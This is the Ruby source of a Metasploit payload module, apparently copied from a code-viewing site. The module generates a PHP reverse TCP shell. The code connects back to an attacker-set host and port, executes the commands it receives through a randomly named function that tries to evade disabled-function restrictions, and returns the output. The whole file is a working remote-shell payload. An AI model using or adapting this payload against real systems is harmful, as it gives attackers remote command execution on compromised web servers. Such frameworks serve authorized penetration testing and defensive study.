Path: blob/master/modules/payloads/singles/php/reverse_php.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Payload::Php10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'PHP Command Shell, Reverse TCP (via PHP)',17'Description' => 'Reverse PHP connect back shell with checks for disabled functions',18'Author' => 'egypt',19'License' => BSD_LICENSE,20'Platform' => 'php',21'Arch' => ARCH_PHP,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'Payload' => {26'Offsets' => {},27'Payload' => ''28}29)30)31end3233#34# Issues35# - Since each command is executed in a new shell, 'cd' does nothing.36# Perhaps it should be special-cased to call chdir()37# - Tries to get around disable_functions but makes no attempts to38# circumvent safe mode.39#40def php_reverse_shell41if !datastore['LHOST'] || datastore['LHOST'].empty?42# datastore is empty on msfconsole startup43ipaddr = '127.0.0.1'44port = 444445else46ipaddr = datastore['LHOST']47port = datastore['LPORT']48end49exec_funcname = Rex::Text.rand_text_alpha(5..14)5051uri = "tcp://#{ipaddr}"52socket_family = 'AF_INET'5354if Rex::Socket.is_ipv6?(ipaddr)55uri = "tcp://[#{ipaddr}]"56socket_family = 'AF_INET6'57end5859shell = <<-END_OF_PHP_CODE60#{php_preamble(disabled_varname: '$dis')}61$ipaddr='#{ipaddr}';62$port=#{port};6364if(!function_exists('#{exec_funcname}')){65function #{exec_funcname}($c){66global $dis;67#{php_system_block(cmd_varname: '$c', disabled_varname: '$dis', output_varname: '$o')}68return $o;69}70}71$nofuncs='no exec functions';72if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){73$s=@fsockopen("#{uri}",$port);74while($c=fread($s,2048)){75$out = '';76if(substr($c,0,3) == 'cd '){77chdir(substr($c,3,-1));78} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {79break;80}else{81$out=#{exec_funcname}(substr($c,0,-1));82if($out===false){83fwrite($s,$nofuncs);84break;85}86}87fwrite($s,$out);88}89fclose($s);90}else{91$s=@socket_create(#{socket_family},SOCK_STREAM,SOL_TCP);92@socket_connect($s,$ipaddr,$port);93@socket_write($s,"socket_create");94while($c=@socket_read($s,2048)){95$out = '';96if(substr($c,0,3) == 'cd '){97chdir(substr($c,3,-1));98} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {99break;100}else{101$out=#{exec_funcname}(substr($c,0,-1));102if($out===false){103@socket_write($s,$nofuncs);104break;105}106}107@socket_write($s,$out,strlen($out));108}109@socket_close($s);110}111END_OF_PHP_CODE112113# randomize the spaces a bit114Rex::Text.randomize_space(shell)115116return shell117end118119#120# Constructs the payload121#122def generate(_opts = {})123return super + php_reverse_shell124end125end126127128